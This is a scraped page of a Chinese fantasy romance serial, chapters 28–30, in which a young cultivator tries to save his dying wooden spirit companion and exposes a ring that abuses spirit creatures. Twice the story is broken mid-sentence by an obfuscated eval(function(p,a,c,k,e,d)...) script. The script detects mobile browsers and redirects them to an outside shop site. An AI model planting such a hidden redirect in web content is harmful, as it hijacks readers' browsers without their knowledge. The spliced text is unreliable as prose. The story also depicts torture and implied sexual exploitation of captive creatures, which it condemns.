这种症状它见得多了,顶多就是发了点烧,看把这人急得没出息的样。 然而当真正上手探查一番后,山龟爬满的青纹的眼睑逐渐微瞠。 它沉默着,久久不语。 清伽:“……如何?” 山龟道:“不如何,快死了。” 28. 时与命 清伽许久没出声。 半晌,他艰涩地道:“她元魂无恙,髓脉完好,只是原形的肉身尚有缺角,怎么会……” 山龟冷嗤:“在老夫面前还装?不知道我们做医修的最讨厌你们这种隐瞒病情的家伙了么?自欺欺人耽误治病!” 它直接托起归笙的脑袋,碰了碰她发顶间那五个骇人的窟窿。 山龟道:“这灵怪被抽过髓华,毁过髓脉吧?啧啧,那人下手真够狠的,压根没想给她留命啊……瞧这抽髓的手法,熟练、粗暴、残忍,就是故意要挖这么深,要放大延长这灵怪的痛苦,一看便知是那种以杀生虐生取乐的人干的。” 点评完归笙伤势,山龟又开始点评清伽的补救措施,语气遽然严厉,近乎劈头盖脸的训斥:“她元魂无恙,是你以髓华强行聚拢;髓脉完好,是你以髓华到处打补丁;就连这表面看上去大体无虞的肉身,都是你以髓华将内里的千疮百孔修复……你真当你的髓华能起死回生,代替她自身的修复了?” “确实,纸张撕毁可以用浆糊粘,衣裳破损可以用针线缝,瓷器碎裂可以用生漆补……但那些都是死物,而就算是死物,遭到重创后都不可能恢复如初,更何况你的灵怪是活生生的一条命。” “而她的命,早就该绝在被抽髓断脉,肉身崩毁的那一日了。” “如今这外表健康漂亮小木头,实际上就是你用髓华强行聚合起来的一滩烂木屑,五脏六腑都腐坏朽烂了,无时无刻不在滑向死亡,只是你用髓华将她往回拽了一拽。” “这样强留下来的一条命,离了你的髓华续命,便是无源之水、无本之木,消亡是立竿见影的事……而终有一日,你的髓华也将无济于事。” 山龟瞧了眼清伽的脸色,叹了口气道:“总之,我治不了这小木头。” “她突然发病,想来是你这些时日太过忙碌,与她分离的时段太多,身周髓华对她的温养浸润不足造成的,你回去抱着她睡一觉就好了,睡一觉睡不好,那就睡两觉……” 清伽忽然道:“如果用煌星木为她重塑肉身呢?” 山龟的声音戛然而止。 山龟觉得现在的年轻人不仅玩得花,还玩得很大胆:“难怪最近走哪都能听到说你近来异常用功的,原来你在打煌星木的主意?” 清伽:“如果莲华殿的其他人能把八卦的功夫用到莲华境的修炼上,也轮不到我打这个主意。” 山龟:“你这就有点何不食肉糜了,莲华境那倒霉玩意儿是给正常人学的么?我时常怀疑你们莲华殿先祖开创这玩意儿就是为了杀你们下去陪他们的,而且你最好也悠着点,可千万别受重伤,不然绝对立刻遭到这邪术的反噬,不说元魂一定会碎得满天飞,到时候走火入魔六亲不认,亲手把你这小木头砸了也是有可能的……” 清伽打断道:“别说我了,煌星木能救她么?” 山龟捋了捋胡须:“救是能救,而且救这么一根小木头,只需要一点木屑就能搞定……但,只怕是来不及啊。” “距离定下灵主的祈灵祭典,中间还隔了个为期三月的五方盛会,你这小灵怪能不能撑那么久,老夫给不了准话。” 清伽:“您的意思是,只要她时刻呆在我的身边,便不会再出现这种状况?” 山龟叹了口气:“不一定,但总归比不呆在你身边来得妥当。” 清伽:“我知道了,多谢您。” 清伽重新将归笙裹好,抱起来,往门口走。 “小子,奉劝你一句。” 清伽停下,捂住了归笙的耳朵。 身后响起的苍老的声音,如沉淀万年的光阴轮轴,爬满了装载生离死别的藤壶。 “我能猜到你救这灵怪的心思,未必是有多看重她本身,无非是想试试能不能和老天对着干,将这濒死一线的生灵拉回来。” “你还年轻,天赋又好,过得顺风顺水,不信命很正常……但切记天行有常,逆天而行,终究是会付出代价的,切勿钻牛角尖,害了自己。” 它一瞥归笙,道:“该命绝之物,就认命放手,遂了天意吧。” 清伽没有应声,径自抱着归笙离开了。 踏出医馆的大门,清伽脚步一停。 进门前就嗡嗡不休的苍蝇,这会儿仍然盘旋在门口挡道。 脸色蜡黄的灵侍站在门外,目光直勾勾地盯向清伽怀中,看见那灵怪被他用衣裳裹得严严实实,只露出几根额前的碎发。 清伽温声道:“你的眼睛是不想要了吗?” 话音未落,灵侍痛叫一声,霍然回神。 他捂住血流不止的眼睛,不可置信地怒吼:“清伽,你敢对我动手?” 清伽将那缕碎发拢进衣裳底下,头也不抬,道:“再不滚,可就不是伤一只眼睛这么简单了。” 灵侍自是没滚,赖在了原地一般,面皮不断抽动。 片刻,他微微一笑,露出几颗干黄的牙齿,嘲讽道:“清伽,你看着衣冠楚楚、人模狗样的,竟然把养的灵怪糟践到来看医修,难道是把莲华殿当作你自己家了?真是不知廉耻!” 清伽指尖一顿,抬头,定定地看他。 四目相对,灵侍不自觉退了半步,腿肚微微打颤。 怎么会这样? 往日面对他们的挑衅,这家伙向来怂于搭理,所以久而久之,他们也越发肆无忌惮,几乎将日常到他面前语言羞辱他一番当成了一种娱兴手段。 这还是头一回,这家伙没有任他奚落,反而意味不明地回望过来。 虽然心头打起了鼓点,但灵侍自是不会承认被这个素来看不起的家伙吓到毛骨悚然,当即色厉内荏地道:“你、你看什么?是不是有病?” 对方气势凶狠,清伽却微微弯起了唇角,慢慢地道:“说起来,灵祖最近命我调查的一件事情,同僚你也算是榜上有名呢。” 他笑了笑,语气叹惋地道:“正儿八经的考核等次榜上不去,上这种乌七八糟的榜,也算是了了一桩心愿吧。” 灵侍浑身一抖,顿时有所猜测,气焰却越发暴怒:“你在胡言乱语什么!没有的事!我听不懂!” 清伽:“就是你刚刚说的事啊。” 他一敛笑意,冷冷地道:“多少年了,豢养灵怪,让它们修成人形,供你等取乐的勾当,诸位还少干了?只不过圈养在莲华殿外,就清白正当了?” 话到最后,语气已经变成了全然不掩的厌恶。 “灵怪修出人形,自然会生出灵智,而你们悖逆伦常,不惜将灵怪抽筋断骨,也要阻碍他们形成健全的灵智……你们揣的什么龌龊心思,干的什么畜生行径,还需要我点明吗?” 被当面扯掉遮羞布,那灵侍越听越怒,有好几次,几乎要控制不住上来厮打清伽。 然而最终,他不知突然想到了什么,捂住自己血流不止的眼睛,另一只眼睛阴鸷地扫过清伽怀中的身影。 随即,他竟是一笑,反问道:“这种事情,你自己不也正在做吗?” 清伽一顿。 灵侍立刻如抓到他的破绽,纵声讥诮:“你真该瞧瞧你方才进去前看那木头的样子,哪像是主人在看自己豢养的灵怪啊……分明就和我们去楼里快活时,看那些宝贝的目光一模一样啊!” 望着对面之人逐渐变化的神情,灵侍嘴角恶劣的笑意扩大。 “当然,你比我们要处心积虑一些,不去楼里找现成的,倒是自己一手养出来一个。” “你表面上端的是一副高风亮节,只是救这灵怪一命,把这不谙世事的木头灵怪骗过去了。” “但实际上你做了什么?你不仅对她生出异心,还将她化作娇俏少女的模样,搂搂抱抱毫不避讳……当然,你可以自欺欺人你只是将她视作玩宠,但你究竟有没有蓄意帮助灵怪化出人形来供自己亵玩取乐的心思,你说得清楚吗?你扪心自问,你敢说自己没有一丝一毫的龌龊心思吗?!” 他一口气说完,越发得意忘形,直接指住了清伽,哈哈大笑道:“怎么不动手了?啊,是被我说中,没脸再动手了吧?清伽,你看看你这虚伪的……啊!谁!谁打我!” 归笙从清伽怀里挤出个脑袋,趾高气昂地认领道:“我!我打你!” 自从进了医馆,归笙就是半梦半醒的状态,依稀知道清伽在和人讲话,但具体讲的什么听不清,只能感受到他的情绪非常压抑。 不仅如此,出了医馆后,她朦胧间听到这个灵侍喋喋不休讲了一大堆,态度刺挠无比,清伽却毫不还口,活像被人给施了定身咒,呼吸都快没了! 归笙给急得抓心挠肝,挣扎着要醒过来看看究竟是怎么个事。 一醒过来,归笙就见那灵侍指着清伽骂他虚伪,登时大为火光。 是,她如今的状态是很虚弱,但某些不需要髓华捣鬼的手法却没生疏。 归笙当即扯掉清伽领口的饰物就丢进了那灵侍尚且完好的另一只眼。 趁那灵侍捂住眼睛弯腰哀嚎,归笙拽拽清伽的衣襟,连声催促道:“快走快走,苍蝇嗡嗡乱叫的烦死了!” 清伽垂眸望着她,苍白的唇动了动,似乎想说什么。 然而最终,他只是一言不发地拉下她的帽檐,快步向住处走去。 回去的路上,清伽一边走,一边徐徐给归笙灌输髓华。 等进了寝屋,归笙虽仍四肢无力,但痛却不怎么痛了。 清伽将她放到榻上,自己在榻边坐下来,摸了摸她的额头,舒了口气:“不烫了……还有哪里不舒服么?” 归笙摇了摇头,又歪头打量他的神色:“我憋了一路没问,是不是很严重?” 清伽:“不严重,只是最近我给你的髓华少了,是我的疏忽。” 归笙呵呵冷笑:“你知不知道,你这个人最正经的时候,就是你在说谎的时候,可太明显了。” 清伽:“……” 归笙:“是会危及性命吗?” 清伽眼睫颤了下,没有正面回答,只是道:“只要煌星木的一些木屑就能治好了。” 归笙看出他不想再谈论严重不严重的问题,于是迁就地道:“煌星木真厉害。” 她想了想,转移话题道:“那你和那个灵侍是怎么回事?他说了什么?你怎么当时就放任他指着鼻子骂你了?” 没想到这一回,清伽不仅不正面回答,甚至连话都不说了。 仿佛当头挨了一记闷棍,他甚至微微退开了些,避开了她探究的视线。 归笙惊愕:那灵侍骂的得多狠啊,把这么个脸皮厚实的骂成这样。 她立刻道:“那你别回想了,不想说就不说了吧。” 又拍拍他的手背,打抱不平:“你脾气那么好,一定是他说了很过分的话,才把你惹得直接动手了。” 清伽沉默片刻,低声道:“你认为我脾气好,真是对我最大的误解。” 归笙:那不是有莲华境外的你珠玉在前嘛。 看出清伽又想将话题揭过的意图,归笙便也不再多问,一本正经地顺着他的话讲:“嗯嗯,但你跟我认识另一个灵侍比,那脾气可真是好得不是一星半点,你要自信一点。” 清伽一愣:“你还认识别的灵侍?” 他忽然紧张起来:“有人趁我不在进过我们的寝院?” 他这样子比遭贼还来得恐慌,归笙连忙安抚他道:“是遇到你之前认识的,虽然性格怪了点,但是个好人,帮了我一个大忙呢。” 告诉她师母还活着,可不是一件大忙? 清伽先是松了一口气,又看她蓦然柔软下来的神色,不禁垮下了脸:“那个灵侍,是……男的?” 归笙正沉浸在和自家师母的美好回忆里,随口且实话实说地道:“男的啊,长得很好看一男的,跟你不相上下,不过比你年轻一些。” 清伽:“…………” 耳边忽然没声了,归笙回神:“嗯?你怎么不说话了?打算休息了吗?” 清伽幽幽地道:“不,只是在回想,莲华境下有没有返老还童的咒术。” 归笙吓了一跳,摸摸他的额头:“你也生病了吗?好端端的想的什么东西?再说你哪里老了?” 清伽继续幽幽地道:“没办法,养了个又好色又慕少艾的木头灵怪,之前险些就被美貌的狐狸姑娘拐走了,这下又当我面追忆某个青春正茂的少年郎,我真怕哪天两眼一睁,变成了个独守空房的空巢老人。” 归笙:“……” 清伽持续幽幽地道:“不过我怎么不记得灵侍里有谁的长相能跟我相提并论呢?莫非那家伙已经修炼莲华境走火入魔死了?啊,看来是个空有皮囊的花架子嘛……” 归笙听不下去他的矫情发言了,喝令道:“够了,闭嘴,睡觉!” 话音刚落,面前的人就显而易见地凝滞了一下。 归笙愣了愣:“怎么了?我语气太凶了么?” 清伽望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745437|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,犹豫了片刻,将山龟所说的缓解之法告知了他。 归笙听完,没什么异议,道:“那就抱着睡呗。” 如果是她自己的原身,她大概还会迟疑一下。 但这具木头灵怪的躯壳,从上到下、从里到外,全都算是清伽一手重塑的,在他怀里睡觉,在她看来,说句不中听但精准的比喻,就跟幼儿窝在母亲的怀里一般,根本没什么好纠结的。 她是不纠结,但清伽显然很纠结:“你……一点也不介意吗?” 归笙打了个呵欠,有些困了,睡眼惺忪地道:“我不是说过吗?我知道在你眼里,我就跟你精心刻琢的那些木雕没什么区别,你抱着我睡觉,就跟人家抱着自己养的猫儿狗儿一样,我有什么好介意的……嘶。” 她一口气说了这么多话,胸腔猛地刺痛了一下。 为了自己能尽快好受,归笙当即不再啰嗦,手脚并用地爬过去,一把将还要再说些什么的人搂了下来。 结果搂到一半,就被人拎小猫似的拎开了。 归笙痛得直发抖,瑟缩着望过去,却望见一双莫名克制的眼睛。 随即她眼前一白,身体一轻,又一暖。 原来是清伽一把扯过被褥,将她裹成了一只肥肥胖胖的蛹。 清伽这才侧躺下来,环住蛹壳……哦不,被褥,把归笙圈进了怀里。 脸颊方才贴上那温热胸膛,胸口的刺痛就烟消云散。 归笙满足地喟叹了声,蛄蛹了两下,在他怀里找了个最为舒惬的姿势,闭上眼睛,安心睡去。 …… 这一场突如其来的发病,打乱了清伽本来的计划。 第二日一早,他就带着归笙前往灵祖那里与之协商。 之所以带上归笙,倒不是她也能参与协商,而是她如今不能离清伽太远。 到了地方,不知为何,归笙一见到这位三百年前的莲华殿灵祖,就感觉浑身不舒服。 从面相上看,此人慈眉善目,几乎只是换了个性别的妙慧灵祖。 但在妙慧灵祖身边,她能感受到浩瀚如海的温和包容,但站在此人身前,她却如触碰到隐匿在汪洋下的暗流,冰冷无常,令人不寒而栗。 偏偏清伽却貌似很信任也很尊重他,难得收敛不正经的态度,在这位灵祖面前表现得如一名谦虚的后辈。 归笙只好抿起了嘴巴,随意对灵祖问了个好,然后就退到一边:“你们聊。” 清伽一开始自是不让,归笙却摆了摆手:“我不出你视线范围,我就在庭院里,一旦有什么不舒服,我会立刻叫你的。” 说完也不等清伽应答,便兀自跑到庭院中的石凳上坐下了。 清伽看这个距离确实不算远,顶多七步就能到她身边,这才站定了。 与此同时,身侧的灵祖出言调侃:“不是找我议事么?站我面前半天了,你这眼睛都没正眼看我一眼。” 听言,清伽仍是没正眼看灵祖,只是盯着那道背对这边的身影,道:“芳泽楼一事,我想提早解决。” 灵祖立刻不赞同道:“准备尚不周全,贸然行事,你就会成为活靶子。” 清伽冷静地道:“我没时间多等了。” “镜界通行契易主需要时间,最短也要三个月,所以我要立刻解决这件事,从真诩手里收回通行契,确保五方盛会结束后,最迟在祈灵祭典上,我就能接触到煌星木。” 灵祖神色复杂:“你这样操之过急,可知会留下多少纰漏?又会为你日后造成多大的麻烦?” 清伽:“无所谓,他们杀不了我。” 灵祖:“不要小看那些老家伙维护自身利益的手段。论修为,他们是杀不了你,但论让人生不如死的攻心伎俩,他们有的是。否则如今的莲华殿,也不至于乌云蔽日,还出了芳泽楼这档子事。” 一席话劝完,灵祖看了看身侧无动于衷的人,叹息道:“我知道劝不动你,但无论如何,我还是劝你三思而行,切莫因一时急躁,遗祸无穷。” 他看着清伽,眼中似有怅然:“虽然我将你推到台前,却也希望如果可以的话,你能少受点伤害,毕竟你是我选择收留又看着长大的孩子。” 清伽沉默片刻,仍是道:“没有选择了。” 灵祖顺着他的目光看去,看向庭院中那个低头看蚂蚁的小姑娘。 半晌,他道:“你会后悔。” 清伽开玩笑道:“您用莲华境看到未来了?” 灵祖也笑:“那倒没有。” 他垂下眼,眸光难测:“‘窥天机’这一步,恐怕只有日后的你能做到。” 清伽笑了笑:“那您何以信誓旦旦,笃定我会后悔?” 灵祖慢条斯理地道:“因为在这个位置待久了,见过了太多的人性。” “你一时着急,难免关心则乱,乱则生变,难免会有你预料不到的不周之处。” “你将前途命运都押在这个小姑娘的身上,倘若真的出了意外,日后你便是粉身碎骨、万劫不复……在那种情况下,终有一日,你会怨恨她的。” …… 从灵祖处离开,归笙回头,确认灵祖的住处消失在视野中消失了,便立刻揪住了清伽的袖子,絮絮叨叨道:“你要小心点那个灵祖啊!” 清伽低头看她:“嗯?他怎么了?” 归笙严肃道:“我感觉他和你不是一路人,他那周身的气场就很可怕啊!你还年轻,玩心机玩不过这种老狐狸的,帮他办事时多提防着些,他说的话最好也只听一部分,防止他借刀杀人、过河拆桥、卸磨杀驴……” 清伽闷笑:“怎么我这会儿又年轻了?” 归笙拳头硬了:“年纪这茬过不去了是吧!重点是这个吗?!” 见她真的恼了,清伽连忙摸摸她的发顶,好声好气地哄:“好,我会注意他的,你放心吧。” 得他承诺,归笙这才渐渐放下心来,轻哼一声。 清伽看着她,没忍住,下颌在她发顶轻蹭了一下。 归笙:“你干嘛?” 清伽:“吸木头。” 归笙:“……” 归笙真诚地建议道:“正常人吸吸小猫小狗就完事了,你这……真的不用去医修那里看看么?” 清伽一本正经地道:“人各不同,各有所爱,我就喜欢木头,我喜欢的木头就是最好的。” 归笙想想也是,爱好不分高低贵贱,便尊重地道:“那好吧。” 29. 芳泽楼(上) 三日之后,清伽要出门,说是要处理一件非常重要的事情。 清伽介绍道:“这件事是同时派给我和真诩两人的任务,算是倒数第二道考验吧。” 归笙观察他的神色:“看起来,你志在必得。” 清伽眨了眨眼:“因为真诩不可能做成这件事,甚至肯定会因为此事受到牵连。” “因为这件事牵涉到的主要人物,一大部分是他家族里的人,另一小部分是他的那些小跟班,都是支持他登上灵主之位的助力,除非真诩的脑袋被门挤了,或是不想要灵主之位了,才会上赶着去得罪这些人。” 归笙摸摸下巴:“原来如此。” 临出门前,清伽蓦地想起什么,看着归笙,欲言又止。 “你能不能……变回原形?” 归笙试了一下,遗憾地道:“好像不太行。” 时至今日,她仍旧无法自如地在人形与原形之间切换。 而且最近,或许是清伽每天都搂着她睡觉,给她灌输髓华,她的人形还维持得更长了些。 归笙试探地问:“这事不方便我人形跟着吗?” 看出清伽的踌躇,她提议道:“那我就留在莲华殿里等你好了。” 虽然她很需要人多的场景来加剧境中之境的崩塌,但倘若她这回跟去添了乱,让清伽任务失败,错失灵主之位,那可就得不偿失了。 清伽一口回绝:“不行,你的身体状况不能离我太久。” 他俯身,将她领口处的系带系好,叮嘱道:“人形就人形吧……但到了地方,记得千万别乱跑,一定要跟紧了我。” 归笙道:“好。” 清伽顿了顿,没忍住,在她发顶揉了揉:“这么乖。” 半个时辰后,归笙随清伽来到的地方,是一座酒楼。 归笙顿了顿,几乎是一眼就认了出来,这正是她初来西漠当天,白鹤掌柜在高空中所指的那家风评不佳的酒楼。 三百年前,这家酒楼的外观比她当时看到的更为金碧辉煌。 走进楼内,根据示意牌可知,其内部分为前、中、后三层,供客人饮酒用餐的众多厢房在前,中段是一座露天的园林,最里层则为供人住宿的客栈,占地十分广大阔绰。 此时此刻,归笙和清伽正站在大堂的柜台旁,后者在和侍应交谈着什么。 归笙闲来无事,周遭吵嚷得又听不清他二人在讲什么,便四处张望起来。 大堂中人头攒动,但她还是一眼注意到角落里的一双人影。 那是一对男女,两身寻常行头,体貌皆不出挑,行为亦无甚特别。 硬要挑出惹眼之处的话,便是皆头戴帷帽,将两张面孔遮得严实。 二人相对而坐,不知在说些什么。 归笙看着看着,莫名想到抽光她髓华的,也是一对男女。 她知道自己的揣测毫无道理,毕竟在这大堂之中,诸如此类的男女少说也有十几对,且其中不乏比那二人打扮举止还要怪异的存在。 但归笙就是直觉不大对劲,迟迟无法从这双身影上挪开目光。 只见那二人聊着聊着,女人蓦地起身,绕过桌边,坐到了男人身侧,然后旁若无人地撩起了男人帷帽下的黑纱,将整张脸探了进去。 不一会儿,头颈辗转。 归笙:“……” 客堂中熙熙攘攘,近百张座席皆是爆满,鲜少有人注意到这一角落的火热场面。 正当那对男女忘我亲热之际,恰有风拂窗畔,吹起二人相叠的帽纱。 归笙瞬间定睛凝神,朝那边望得越发一瞬不眨。 就快看到脸了—— 却在帽纱掀起的刹那,男人骤然一个抬眼,眸光似刃,厉摄而来。 归笙仓促地别开眼睛。 她面上若无其事,心脏却怦怦狂跳,撞得前肋一阵闷痛。 没和那男人视线相撞,但即便没被逮个偷窥现行,她也感知到男人的目光已经投向了这个方位,正在缓慢地巡睃着,似在寻找方才窥视的宵小。 那人的修为定然深不可测,仅仅一道目光,竟有千钧威慑。 好容易平复下来,男人也收回了视线,归笙又要悄悄地望过去,眼前却忽而白茫茫的一片。 是一截袖子遮住了她的眼睛。 随即,有微凉的手指托住她的脸颊,将她侧过去的脑袋掰了回来。 归笙抬头,四目相对。 清伽难得没有带笑,清隽的面容似覆了一层霜霾。 他口吻严肃:“看什么呢。” 归笙:“……” 这兴师问罪的口吻,仿佛她干了什么坏事似的…… 归笙悻悻回呛:“你凶什么凶?我不能看吗?我又不是小孩子!那种事情我懂的啊。” 清伽瞬间软下了语气:“……我哪里凶了?只是再不提醒你,你眼睛就要贴到人家脸上去了。” 他软下来了,归笙就来劲了。 她气势汹汹地道:“你就是很凶啊!而且不止今天了,这段时日你对着我的时候,愁眉苦脸远多于眉开眼笑,好像有什么天大的事瞒着我似的!” 又瞥他一眼,故作哀戚地道:“该不会是你终于觉得救我很麻烦了吧?早说啊,我回去就收拾收拾,在你寝院的树底下把自己埋了,来年给你长一堆木头出来做木雕,也算是我力所能及的报答,不负我们相识一……唔?唔唔?!” 清伽听不下去了,从袖子里掏了块糖糕塞进她嘴里,无奈求饶:“别再乱说话伤我心了,我受不了,真要按你说的,你信不信我一头撞死在那些木头前。” 归笙:“……唔唔唔。” 她开个玩笑而已,他这就有点吓人了。 归笙气焰平息,嚼着糖糕,拨开清伽的袖子,再度望过去。 窗边却已空空如也。 那对男女不见了。 莫名的不安袭上心头,归笙当即吐出嘴里的糖糕,扭头就要提醒清伽近来要多多注意一对形迹可疑的男女。 却在张口的刹那,有一股无形的巨力毫无预兆地扼住她的咽喉,使她无法发出一丝声音。 归笙一惊,下意识以为自己又发病了,但她试探着咳了两声,发现自己发声如常,只是无法说出提醒清伽的字句。 归笙于是明白了。 三百年前,此情此景下的初代灵主没能发现这对形迹可疑的男女,那么此刻进入考验的清伽,自然也不能得到她的这一提示。 恐怕那对男女,也会是更改初代灵主后续人生轨迹的关键人物。 归笙长长地叹了口气。 “……你还在生气吗?” 归笙一怔,这才发觉,清伽正有些紧张地望着她。 向来漫不经心的人,此刻仿佛遇到苦手的难题,竟显出几分束手无策的踯躅来。 清伽望着她,诚恳地道:“对不起,我不该凶你,这段时间也不该用那种态度对待你。” 归笙知道是自己的那声叹气引起了误会,心软了软,道:“没有没有,我刚刚都是说笑的。” 为了彻底打消他的顾虑,归笙想了想,又补充了句:“你不仅救了我,还一直悉心照顾我,这么重的恩情,说实话,不论你对我做什么,我都不该计较啊。” 谁料,不说这句话还好,说完后,清伽的神色更加怪异了。 那近乎是一种被刺痛的僵滞。 “救你是我自愿的。” 半晌,他突然说了这么一句,又低声补充:“你不必因此顾忌什么。” 归笙:“?” 归笙听得云里雾里,努力理解他的意思:“你是说……就算你救了我,我也可以同你计较?” 清伽:“对。” 顿了顿,又道:“如果我的任何举动让你不舒服了,你完全可以当面制止我,我绝对不会强迫你的。” 这话怎么越听越怪? 不舒服?制止?强迫? 他在说什么? 归笙一时摸不着头脑,却见酒楼里的伙计已经朝二人走了过来。 来不及多问了,她只能先稀里糊涂地点头道:“好吧,我知道了。” 又想了想,抬起手,屈指,在清伽额头轻敲了一记。 在他愣怔的目光中,归笙笑道:“计较完了,这茬揭过。” “现在,一起去办正事吧。” 伙计带着二人出了大堂,穿过花草葳蕤的曲折回廊,人声渐消,香气渐浓。 那伙计忽然扭头,笑着问清伽道:“客官,是要单间呢,还是……” 那笑容莫名黏腻,暧昧的目光在清伽与归笙之间流连,意有所指。 清伽面不改色,从善如流地取出一袋钱币,抛进了那伙计怀中。 说是抛,实际更像是砸。 那伙计被砸得一个痛叫,怒容横生,却又在看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他意味深长道:“这不是你该来的地方,小心被人给卖了,后悔都来不及。” 见归笙一脸莫名,真诩对自己判断愈发笃定,细长的眼尾挑得快要飞到鬓发里去:“果然,清伽没告诉你这楼里的事。” 他笑道:“也难怪,他敢告诉你吗,哈哈……只怕他一开口,你就明白他费尽心思地把你养在身边,揣的是何等下作的……” “砰——” 突如其来的一声闷响。 四下震颤,归笙挥掉眼前四溅的灰尘,发现茶厅里只剩下她一个人了 她一头雾水,走到断裂的窗棂旁,朝外望去。 只见下方的茵草地上,清伽与真诩二人一站一倒,真诩仰撑在地,满面怒容,清伽则背对着她,看不清神色。 归笙便也从窗口翻了出去,轻飘飘落到地上。 清伽听到了动静,却没回头。 真诩捂住被踹了一脚的心口,咳嗽不止,断断续续地骂:“你……自己都在做豢养灵怪的事情……还帮她化成个美貌少女……你怀的什么龌龊心思,昭然若揭……你又是怎么好意思追查此事……” “咳咳……哈哈,你该不会是觉得,自己尚未对这只灵怪下手,就光明磊落,就和他们不一样了吧……骗骗这懵懂无知的木头可以,别把你自己也给骗了……不想让你的灵怪看到那些乌七八糟的画面,立刻识破你那肮脏的心思,你最好立刻带她回去!” 自以为说动了清伽,真诩撑起身,颐指气使地道:“不要再插手不该你管的事情了!这件事只有我能处理好!” 清伽寒声道:“你能怎么处理?来这里的不都是你的老熟人?你听到我来了,立刻登门找茬,为的不就是给他们腾出时间,让他们抓紧逃跑么?” 被说中心思,真诩怒喝道:“那你能有什么好法子?你舍弃原计划,提早孤身前来,除了凭借你的莲华境直接动手之外,我不信你还有更好的方法!你分明知道,把这件事情捂下去,抓不到证据无从追究,是最稳妥也是所有人都皆大欢喜的方式,只需要牺牲一些无关紧要的……” 清伽打断道:“有好法子,也不会告知你。” 真诩:“你……啊!” 清伽不再和他废话,放出一记困锁咒术将其撂倒,趁二人争执时偷偷溜到真诩身后的归笙紧随其后,搬来一大块石头把真诩稳稳压住。 她拍拍真诩的脸,狐假虎威道:“安静安静,你就在这里好好呆着,好好看着我们是怎么把事情处理好的吧!” 石头不算太大太重,不然归笙也搬不动,然而真诩受制于咒术,一动不能动,还是被压得脸色发青,听了她的话后,脸色更是发紫了。 归笙跑回来,拖着清伽快步离开,将真诩的嚎叫咒骂远远甩在身后。 30. 芳泽楼(下) 事实证明,就算想要留下一道轻蔑而帅气的背影,也不能拉着人就跑。 在归笙的一通带路下,她和清伽成功地迷路了。 不过好在周围越发葱郁的树木花草,告知了他们应当已经来到了酒楼中段的园林。 清伽:“我来带路吧。” 清伽发话后,便换了他走在前头,归笙跟在他身后两步远的距离。 走了一阵,两人谁都没有开口说话。 在心里梳理完措辞,归笙率先开口,打破沉寂:“所以,你今天来处理的事……是和灵怪有关的不好的事么?” 清伽身形一滞。 归笙快步上前,走到他旁边,与他并肩。 她侧着头,直勾勾地盯着他问:“你之所以没有提前告诉我,是担心我认为你们是一丘之貉?” 她直截了当,一点弯子没绕,清伽被她问得哑口无言。 打今日出门起便盈满愁绪的眉眼越发低垂,他低低地“嗯”了一声。 归笙立刻抬手,拍了拍他的肩膀:“放心吧,我没误解你。” 她指了指自己的脸:“我知道你把我画成这个样子,是出于木雕手艺人追求尽善尽美的品位,再说了,我又不是没见过你雕刻的人像,那里头比我好看的大有人在呢!真诩那家伙真是没见过世面,所以才大惊小怪的,你别听进去。” 清伽:“……” 归笙瞅他一眼:“终于肯笑啦?” 她小碎步挪过去,靠他更近了些,继续追问:“真诩说的这些话,和去看医修那天的那个灵侍指责你的差不多吧?所以这段时日,你就是在为这些烦恼吗?你怕我以为你救下我,帮我化出人形,就是为了对我……” 一道撕心裂肺的惨叫,戛然盖过了归笙的声音。 林鸟惊飞,二人循声望去,但见园林深处,密如罗网的树影间,依稀闪过一道雪白而低矮的影子。 那影子一瘸一拐,踉踉跄跄地奔逃着,步伐凌乱,喘息急促,时不时回头张望,活似被厉鬼追缠索命。 距离渐近,归笙看清了那道影子。 那是一只白狐灵怪。 白狐身后的一簇狐尾被鲜血浸透,折断的后腿软塌塌地拖在地上,随着它毫无章法的奔逃,时不时撞在拦路的树墩或岩石上,几乎要从躯干上脱落。 不能让它再那样自伤地跑下去了。 归笙当即掠身上前,在那白狐即将直挺挺撞上一道藤蔓掩映的假山前,一把将其抱进了怀里。 一瞬之间,白狐竟然化作一个遍体鳞伤的少年,背上有咒术的印记一闪。 归笙一看便知,这是中了某种恶劣阴毒的咒术,大概是不论灵怪是否伤重力竭,只要一落入他人的臂弯,便会令其强制化出人形。 至于化出人形后做些什么,不言而喻。 果不其然,那狐狸少年瞬如应激一般,对她尖叫嘶吼,拳打脚踢,仿佛即将遭遇的事情比死亡更加可怕。 归笙立刻拂了他的睡穴,褪下外衣,将陷入昏睡的狐狸少年裹好后打横抱起。 另一边,清伽已经擒住了追着白狐而来的一名灵侍。 归笙瞥过去一眼,立刻不忍卒视地收回了视线。 那人浑身上下一片布料都没有。 她目不斜视地走过去,从清伽手里接过一枚丹药,喂进了狐狸少年的口中,后者微弱而颤抖的呼吸渐渐匀缓了许多。 清伽道:“带路。” 那灵侍被清伽的髓华扼住后颈,脸色惨白,瑟瑟发抖,满身粘腻斑驳的痕迹滴滴答答往下掉,却死死咬着唇,一步不肯迈。 清伽平静地提醒:“你可想清楚了,你如今仅剩的价值就是带路。” 灵侍瞬间一个哆嗦,眼中浮现出几分惊惧,几分挣扎。 然而最终,近在咫尺的威胁到底盖过了背叛同盟的踌躇,他畏畏缩缩地朝林间深处走去。 走了一阵,清伽道:“我劝你最好走快一些。” 灵侍听若无闻,仍旧磨磨蹭蹭。 清伽眨了下眼。 那灵侍浑身一震,陡然四肢着地,布满病疮的裸背上渗出了带血的汗。 他张大嘴巴,似乎想要惨叫,却又被无形的咒术封住咽喉,只能无声地仰头嘶吼,额角连着脖颈的筋络鼓爆到几欲破裂。 清伽冷冷地道:“用四条腿走路总能快一些了吧。” 那灵侍求饶似的不住点头,手脚并用地爬了出去,速度比方才行走时快了数倍。 在他的带路下,苍翠到发黑的密林深处,浮现出一座牢笼的轮廓。 